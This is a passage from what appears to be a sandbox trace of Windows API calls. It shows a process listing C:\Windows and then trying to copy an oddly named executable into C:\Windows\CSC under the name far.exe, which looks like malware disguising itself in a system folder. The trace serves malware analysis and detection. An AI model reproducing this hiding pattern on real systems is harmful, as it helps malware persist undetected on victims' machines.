dwReserved0=0x0, dwReserved1=0x0, cFileName="SchCache", cAlternateFileName="")) returned 1 [0158.110] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebdc036, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="schemas", cAlternateFileName="")) returned 1 [0158.110] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98abb4cc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98abb4cc, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0158.110] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf484ebfa, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4be0d01, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4be0d01, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceProfiles", cAlternateFileName="SERVIC~2")) returned 1 [0158.111] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec4e444, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="servicing", cAlternateFileName="SERVIC~1")) returned 1 [0158.111] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf627de2b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf62a3f8b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf62a3f8b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 1 [0158.111] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf387a18, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0xaf387a18, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x637e35a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5e5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="setupact.log", cAlternateFileName="")) returned 1 [0158.111] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf387a18, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0xaf387a18, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xaf387a18, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setuperr.log", cAlternateFileName="")) returned 1 [0158.111] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9968150d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x30cc6ce0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x30cc6ce0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellNew", cAlternateFileName="")) returned 1 [0158.111] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x192dc2a0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0xb554dba0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xb554dba0, ftLastWriteTime.dwHighDateTime=0x1d706a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0158.111] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d9da406, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d9da406, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1 [0158.111] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936ee880, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936ee880, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936ee880, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10600, dwReserved0=0x0, dwReserved1=0x0, cFileName="splwow64.exe", cAlternateFileName="")) returned 1 [0158.111] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa2eb0, ftCreationTime.dwHighDateTime=0x1ca0443, ftLastAccessTime.dwLowDateTime=0xf0aa2eb0, ftLastAccessTime.dwHighDateTime=0x1ca0443, ftLastWriteTime.dwLowDateTime=0x5f19ab6d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbc49, dwReserved0=0x0, dwReserved1=0x0, cFileName="Starter.xml", cAlternateFileName="")) returned 1 [0158.111] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec7459e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xf404c84a, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="system", cAlternateFileName="")) returned 1 [0158.111] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadc7ce10, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xadc7ce10, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8bb1d8db, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="system.ini", cAlternateFileName="")) returned 1 [0158.111] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x249bc240, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x249bc240, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 1 [0158.112] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x26f5fe20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x26f5fe20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysWOW64", cAlternateFileName="")) returned 1 [0158.112] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b00f8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8d561533, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d561533, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAPI", cAlternateFileName="")) returned 1 [0158.112] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12b00f8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2bfe5dcf, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x2bfe5dcf, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks", cAlternateFileName="")) returned 1 [0158.112] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8e0c09f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x8e0c09f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0158.112] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12d6252, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9f16e414, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracing", cAlternateFileName="")) returned 1 [0158.112] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3695960, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xc3695960, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xc36bbac0, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x54b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TSSysprep.log", cAlternateFileName="TSSYSP~1.LOG")) returned 1 [0158.112] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f64321c, ftCreationTime.dwHighDateTime=0x1c9ea14, ftLastAccessTime.dwLowDateTime=0x2f64321c, ftLastAccessTime.dwHighDateTime=0x1c9ea14, ftLastWriteTime.dwLowDateTime=0x2f64321c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x17240, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain.dll", cAlternateFileName="")) returned 1 [0158.112] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80cc6128, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80cc6128, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain_32", cAlternateFileName="")) returned 1 [0158.112] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3bc54f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3bc54f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3bc54f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain_32.dll", cAlternateFileName="")) returned 1 [0158.112] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5193c78, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0xe5193c78, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0x2f66937c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xc210, dwReserved0=0x0, dwReserved1=0x0, cFileName="twunk_16.exe", cAlternateFileName="")) returned 1 [0158.112] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x149c5632, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x149c5632, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x77d4a690, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="twunk_32.exe", cAlternateFileName="")) returned 1 [0158.113] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12d6252, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x12d6252, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vss", cAlternateFileName="")) returned 1 [0158.113] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc3ac, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web", cAlternateFileName="")) returned 1 [0158.113] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadc7ce10, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xadc7ce10, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xed7a89e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1de, dwReserved0=0x0, dwReserved1=0x0, cFileName="win.ini", cAlternateFileName="")) returned 1 [0158.113] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x2870a176, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2870a176, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28b347fe, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsShell.Manifest", cAlternateFileName="WINDOW~1.MAN")) returned 1 [0158.113] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18e196a0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x18e196a0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x5e0aab90, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x2ad3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 1 [0158.113] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc68ade7e, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc68ade7e, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x795b1f80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="winhlp32.exe", cAlternateFileName="")) returned 1 [0158.113] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc3ac, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xe8f3f540, ftLastAccessTime.dwHighDateTime=0x1d7b063, ftLastWriteTime.dwLowDateTime=0xe8f3f540, ftLastWriteTime.dwHighDateTime=0x1d7b063, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="winsxs", cAlternateFileName="")) returned 1 [0158.113] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67827cf3, ftCreationTime.dwHighDateTime=0x1c9ea0d, ftLastAccessTime.dwLowDateTime=0x67827cf3, ftLastAccessTime.dwHighDateTime=0x1c9ea0d, ftLastWriteTime.dwLowDateTime=0x6784de51, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSysPr9.prx", cAlternateFileName="")) returned 1 [0158.113] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89802aba, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x89802aba, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfeb14f80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="write.exe", cAlternateFileName="")) returned 1 [0158.113] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89802aba, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x89802aba, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfeb14f80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="write.exe", cAlternateFileName="")) returned 0 [0158.113] FindClose (in: hFindFile=0x1a9d88a0 | out: hFindFile=0x1a9d88a0) returned 1 [0158.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0158.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0158.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0158.114] GetFullPathNameW (in: lpFileName="C:\\Windows\\CSC", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\CSC", lpFilePart=0x0) returned 0xe [0158.115] FindFirstFileW (in: lpFileName="C:\\Windows\\CSC\\*" (normalized: "c:\\windows\\csc\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaad14480, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xaad14480, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d88a0 [0158.115] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaad14480, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xaad14480, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.115] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaad14480, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xaaf03660, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xaaf03660, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v2.0.6", cAlternateFileName="V20~1.6")) returned 1 [0158.115] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0158.115] FindClose (in: hFindFile=0x1a9d88a0 | out: hFindFile=0x1a9d88a0) returned 1 [0158.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0158.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0158.116] GetFullPathNameW (in: lpFileName="C:\\Windows\\CSC\\v2.0.6\\far.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\CSC\\v2.0.6\\far.exe", lpFilePart=0x0) returned 0x1d [0158.116] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0158.116] GetFullPathNameW (in: lpFileName="C:\\Windows\\CSC\\v2.0.6\\far.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\CSC\\v2.0.6\\far.exe", lpFilePart=0x0) returned 0x1d [0158.116] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Windows\\CSC\\v2.0.6\\far.exe" (normalized: "c:\\windows\\csc\\v2.0.6\\far.exe"), bFailIfExists=0) returned 0 [0158.118] CreateFileW (lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0158.118] CloseHandle (hObject=0x2d0) returned 1 [0158.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e858) returned 1 [0158.118] GetFileAttributesExW (in: lpFileName="C:\\Windows\\CSC\\v2.0.6\\far.exe" (normalized: "c:\\windows\\csc\\v2.0.6\\far.exe"), fInfoLevelId=0x0, lpFileInformation=0x1bb7eb80 | out: lpFileInformation=0x1bb7eb80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0158.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e808) returned 1 [0158.122] CoTaskMemAlloc (cb=0x20c) returned 0x1a988070 [0158.122] GetSystemDirectoryW (in: lpBuffer=0x1a988070, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0158.123] CoTaskMemFree (pv=0x1a988070) [0158.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0158.123] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0158.123] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, 